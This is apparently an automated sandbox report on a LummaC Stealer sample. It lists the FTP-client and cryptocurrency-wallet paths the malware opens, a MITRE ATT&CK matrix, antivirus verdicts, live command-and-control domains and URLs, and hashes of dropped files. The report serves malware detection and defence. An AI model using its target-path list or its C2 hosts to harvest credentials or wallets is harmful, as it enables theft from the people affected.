Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla\Notes9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	411 Process Injection	12 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	411 Process Injection	LSASS Memory	151 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	12 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	3 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mkFOY01Gl5.exe	68%	ReversingLabs	Win32.Trojan.Znyonm
mkFOY01Gl5.exe	71%	Virustotal		Browse
mkFOY01Gl5.exe	100%	Avira	HEUR/AGEN.1317026
mkFOY01Gl5.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
potterryisiw.shop	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe
https://potterryisiw.shop/piR	100%	Avira URL Cloud	malware
https://potterryisiw.shop/apiA48)	100%	Avira URL Cloud	malware
https://potterryisiw.shop/t	100%	Avira URL Cloud	malware
ellaboratepwsz.xyzu	0%	Avira URL Cloud	safe
https://potterryisiw.shop/pi	100%	Avira URL Cloud	malware
https://potterryisiw.shop/api	100%	Avira URL Cloud	malware
towerxxuytwi.xyzd	0%	Avira URL Cloud	safe
foodypannyjsud.shop	100%	Avira URL Cloud	malware
pedestriankodwu.xyz	100%	Avira URL Cloud	malware
contintnetksows.shop	100%	Avira URL Cloud	malware
https://potterryisiw.shop/api	14%	Virustotal		Browse
potterryisiw.shop	100%	Avira URL Cloud	malware
https://potterryisiw.shop/(q	100%	Avira URL Cloud	malware
penetratedpoopp.xyz	100%	Avira URL Cloud	malware
foodypannyjsud.shop	2%	Virustotal		Browse
potterryisiw.shop	2%	Virustotal		Browse
https://potterryisiw.shop/lli	100%	Avira URL Cloud	malware
swellfrrgwwos.xyz	100%	Avira URL Cloud	malware
pedestriankodwu.xyz	1%	Virustotal		Browse
https://potterryisiw.shop/	100%	Avira URL Cloud	malware
https://potterryisiw.shop/api44	100%	Avira URL Cloud	malware
swellfrrgwwos.xyz	1%	Virustotal		Browse
https://potterryisiw.shop/	0%	Virustotal		Browse
penetratedpoopp.xyz	1%	Virustotal		Browse
contintnetksows.shop	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
potterryisiw.shop	188.114.96.3	true	true	2%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
ellaboratepwsz.xyzu	true	Avira URL Cloud: safe	unknown
https://potterryisiw.shop/api	false	14%, Virustotal, Browse Avira URL Cloud: malware	unknown
towerxxuytwi.xyzd	true	Avira URL Cloud: safe	unknown
foodypannyjsud.shop	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
pedestriankodwu.xyz	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
contintnetksows.shop	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
potterryisiw.shop	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
penetratedpoopp.xyz	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
swellfrrgwwos.xyz	true	1%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://potterryisiw.shop/apiA48)	RegAsm.exe, 00000004.00000002.2574481805.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://potterryisiw.shop/t	RegAsm.exe, 00000004.00000002.2574481805.0000000000BB3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://potterryisiw.shop/pi	RegAsm.exe, 00000004.00000002.2574481805.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://potterryisiw.shop/piR	RegAsm.exe, 00000004.00000002.2574481805.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.7.dr	false	URL Reputation: safe	unknown
https://potterryisiw.shop/(q	RegAsm.exe, 00000004.00000002.2574481805.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://potterryisiw.shop/lli	RegAsm.exe, 00000004.00000002.2574481805.0000000000B6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://potterryisiw.shop/	RegAsm.exe, 00000004.00000002.2574481805.0000000000BB3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.2574481805.0000000000B8F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://potterryisiw.shop/api44	RegAsm.exe, 00000004.00000002.2574481805.0000000000C10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	potterryisiw.shop	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1465097
Start date and time:	2024-07-01 09:22:27 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	mkFOY01Gl5.exe renamed because original name is a hash value
Original Sample Name:	0309dd0131150796ea99b30a62194fae.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@8/9@2/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 42 Number of non-executed functions: 80
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:23:50	API Interceptor	8x Sleep call for process: RegAsm.exe modified
03:24:11	API Interceptor	2x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	cL7A9wGE3w.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	445798cm.nyashka.top/ProviderEternalLinephpRequestSecurePacketprocessauthwordpress.php
	http://www.youkonew.anakembok.de/	Get hash	malicious	HTMLPhisher	Browse	www.youkonew.anakembok.de/cdn-cgi/challenge-platform/h/g/jsd/r/89b98144d9c843b7
	hnCn8gE6NH.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	yenot.top/providerlowAuthApibigloadprotectflower.php
	288292021 ABB.exe	Get hash	malicious	FormBook	Browse	www.oc7o0.top/2zff/?Hp=4L8xoD0W4Zo4sy87CvwWXXlmZfhaBYNiZZOBxyE5jHDJEgkxN8cq+PG6NIXzy1XRCqQIvL5VyJCknvUNNLKk6zzmBcbZOQR3Nr9VCMayuUBptQdoGcq8y485hKv0f5POEUdLprTAYpXY&5H=CtUlKhgP42a
	eiqj38BeRo.rtf	Get hash	malicious	FormBook	Browse	www.liposuctionclinics2.today/btrd/?OR-TJfQ=g2Awi9g0RhXmDXdNu5BlCrpPGRTrEfCXfESYZTVa1wMirmNXITW5szlP5E4EhRYb22U+Mw==&2dc=kvXd-rKHCF
	Purchase Order -JJ023639-PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/9a4iHwft/download
	Techno_PO LV12406-00311.xla.xlsx	Get hash	malicious	Unknown	Browse	qr-in.com/cpGHnqq
	Techno_PO LV12406-00311.xla.xlsx	Get hash	malicious	Unknown	Browse	qr-in.com/cpGHnqq
	QUOTATION_JUNQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	filetransfer.io/data-package/ygivXnVx/download
	NGL 3200-Phase 2- Strainer.exe	Get hash	malicious	FormBook	Browse	www.oc7o0.top/2zff/?oH=4L8xoD0W4Zo4sy87CvwWXXlmZfhaBYNiZZOBxyE5jHDJEgkxN8cq+PG6NIXzy1XRCqQIvL5VyJCknvUNNLKk7xznBNrfJyFZcb5vCPyKuUBo+l90Wdia8Y821KfsfreAbg==&ML=uVzXijwPkXTxAbN

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
potterryisiw.shop	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	yUFX4wGvLW.elf	Get hash	malicious	Mirai, Moobot	Browse	172.65.156.147
	https://yagyatech.com/netpaymem	Get hash	malicious	Unknown	Browse	172.64.155.119
	Kh7W85ONS7.exe	Get hash	malicious	AsyncRAT, DarkTortilla, StormKitty, WorldWind Stealer	Browse	104.16.185.241
	fPqdDUeLwj.elf	Get hash	malicious	Mirai, Moobot	Browse	1.4.38.60
	AGREEMENT AND APPROVAL REPORT AERODYNE- RN & FR OF 2024-50254_6.5.24.pdf	Get hash	malicious	HTMLPhisher	Browse	172.67.159.201
	92s4OjHVFf.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	scan19062024.exe	Get hash	malicious	FormBook	Browse	172.67.205.232
	Leadership Development.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	Electronic Slip_ball.com.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	6Z4Q4bREii.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188.114.97.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	92s4OjHVFf.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	SecuriteInfo.com.Win32.Malware-gen.371.3693.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Win32.Malware-gen.371.3693.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Plata.docx.doc	Get hash	malicious	Unknown	Browse	188.114.96.3
	163.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://sites.google.com/view/zinkfoodservicegroupinc/home	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	1719520929.094843_setup.exe	Get hash	malicious	LummaC Stealer, Mars Stealer, PrivateLoader, PureLog Stealer, Socks5Systemz, Stealc, Vidar	Browse	188.114.96.3
	PO-MISA-32493.cmd	Get hash	malicious	Remcos, DBatLoader	Browse	188.114.96.3
	External24.exe	Get hash	malicious	RisePro Stealer	Browse	188.114.96.3
	test.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RegAsm.exe_c9bfd8d07f254ebe8912d43c52adf5e55266565a_e47d3db6_cc4100ba-9324-4e3f-bbf5-c9151601b391\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0525382419946387
Encrypted:	false
SSDEEP:	192:C5EjjeFy/L+xDxf0BU/AjezEKTczuiF8Z24IO8Z:oEjtL+FKBU/AjeNczuiF8Y4IO8Z
MD5:	E78EF36D7541004A2B31A50E2604F593
SHA1:	68C69A69B98877BD31FB192D83EB6ADA83369FE8
SHA-256:	1F6D5D1CD4456FE3BEA61FC7973012B29B9B0808FDC128CEB58884F32792B5D6
SHA-512:	4B758C5B33B73D54C7866D276538CC01F6BB08F2CFD500014C4506B95780F10FAA15F557EED02BBEBF1A929323A428D0E36B0B892C44D710DBE518245DA6899B
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.4.2.9.2.2.4.1.5.3.0.8.5.6.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.4.2.9.2.2.4.2.0.3.0.8.5.0.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.c.4.1.0.0.b.a.-.9.3.2.4.-.4.e.3.f.-.b.b.f.5.-.c.9.1.5.1.6.0.1.b.3.9.1.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.8.3.3.4.d.2.a.-.0.9.8.e.-.4.9.c.5.-.9.8.7.9.-.8.d.0.e.4.e.5.a.b.e.8.5.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.R.e.g.A.s.m...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.e.g.A.s.m...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.8.2.0.-.0.0.0.1.-.0.0.1.4.-.9.f.e.e.-.5.f.9.4.8.7.c.b.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.2.3.0.a.b.5.5.5.9.e.8.0.6.5.7.4.d.2.6.b.4.c.2.0.8.4.7.c.3.6.8.e.d.5.5.4.8.3.b.0.!.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_mkFOY01Gl5.exe_f17527364e8b6e37285ab788bb2a9768f98071_61a3bbc4_8792fd5b-a84f-4d64-8493-38f89d51577a\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7141568706699232
Encrypted:	false
SSDEEP:	192:yMoSAUWOQl0BU/gjuGzuiF8Z24IO8LJL:8SAUWOQGBU/gjfzuiF8Y4IO8L
MD5:	4DD92C98AF76544D029865DBEC08EE85
SHA1:	AD328AC3C2533AA4A56F6D44CCBCF93E501864EC
SHA-256:	F2CBE1527262D637C015C18289EADD8E6364ABF7E8C574E2022222DB5AFA1934
SHA-512:	9B56473259E156EEC6708339DD7E4CADD2BC0C8DF33585F7AD8320A7C0269BE879AFC6BB45E78E8D3244293C7049C5C694DDA1C6CA900BFC381E3065690624D6
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.4.2.9.2.2.1.4.2.0.4.9.1.7.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.4.2.9.2.2.1.4.5.7.9.9.1.5.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.7.9.2.f.d.5.b.-.a.8.4.f.-.4.d.6.4.-.8.4.9.3.-.3.8.f.8.9.d.5.1.5.7.7.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.7.0.2.e.8.5.5.-.4.8.3.b.-.4.7.c.d.-.a.e.c.2.-.9.5.e.4.f.5.e.3.9.a.5.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.k.F.O.Y.0.1.G.l.5...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.a.8.-.0.0.0.1.-.0.0.1.4.-.b.c.5.5.-.f.c.9.3.8.7.c.b.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.2.d.6.e.e.8.c.c.d.9.b.e.7.5.1.5.1.f.b.e.7.e.f.3.8.6.0.5.8.9.2.7.0.0.0.0.f.f.f.f.!.0.0.0.0.2.d.f.6.e.3.3.4.7.0.8.e.a.e.8.1.0.a.7.4.b.8.4.4.f.d.5.7.e.1.8.e.9.f.d.c.3.4.c.d.!.m.k.F.O.Y.0.1.G.l.5...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3E66.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Jul 1 07:23:34 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46170
Entropy (8bit):	1.7551058547418887
Encrypted:	false
SSDEEP:	96:528lJE7AwOa8UeSvgsi7X9UnjP97j5VKR9XcMFcoZFuRejWBb//04LKbWIkWIXpt:H8tvHOMHKzt0eCeWjfFlp60
MD5:	EBDF3DF5FC96E4314804B116E51DE50D
SHA1:	EBEFD2E60C1D5B4DF4A14F448F06399AF91AD181
SHA-256:	D39D0B1EFEED58E2CA55D6A9F7C5B10A91353AA4CBEDE15297DFEBFA0D358D9E
SHA-512:	4E96F8D0A62C59CBBDB9799F384291C88B22C996794A84AC69E0F07EFE6C55CC08A634D33A3B11716E5D3E47226D013A5DE3744D2CB6ADC6E76207715B98A7FA
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......vY.f........................0...........d...n$..........T.......8...........T..........................,...........................................................................................eJ..............GenuineIntel............T...........tY.f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3EC4.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8302
Entropy (8bit):	3.6998500413426703
Encrypted:	false
SSDEEP:	192:R6l7wVeJto6tpWX6YEI6SUH5NgmfeJDrpr089bRpsfCObm:R6lXJi6tW6YE1SUH5NgmfeJD3RCfCj
MD5:	EAFCA40006C6C316D90BEE485653765D
SHA1:	4DFA12C4883F817D7BC8F98FEC3B6438745FEE74
SHA-256:	AD230542FCB010F87101EC8B1A07AC2C1EFD74627CDCDC98C492A48B26F0B4D0
SHA-512:	1C83960C2548F44F929BD1A74D51A5F863796D7F04486967F44884F07E6F7E908B0C779474E4861F4D556E26AB8F299701D4E2AE9E93B4A3DF7B5A3F4EB8FB7B
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.0.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3F23.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4585
Entropy (8bit):	4.465536815918837
Encrypted:	false
SSDEEP:	48:cvIwWl8zsyJg77aI9ROWpW8VYQ0Ym8M4Jp8fiFqFNDo+q8o80u0nW0ud:uIjfAI77v7VbJp8bF9o5Bu0nW0ud
MD5:	0B77D030B7EF4018AA735B7A93CF17AF
SHA1:	E8816154930087222CBEB3C0C20CCE8EED97E7D9
SHA-256:	ADBE23635D4ECD53D821FD2A3A4C238CAD0C53BD11BA10A276F76972FDB0ADCC
SHA-512:	278A539C5B6F12A77574F1810D184F47764FECE3B1C2CCEE96CD9EC6DFA6DBD744F1C414D37B010A21A4C5ABF8346A0DBDA8416FB36E7D41B4241FC54C99DA8D
Malicious:	false
Reputation:	low
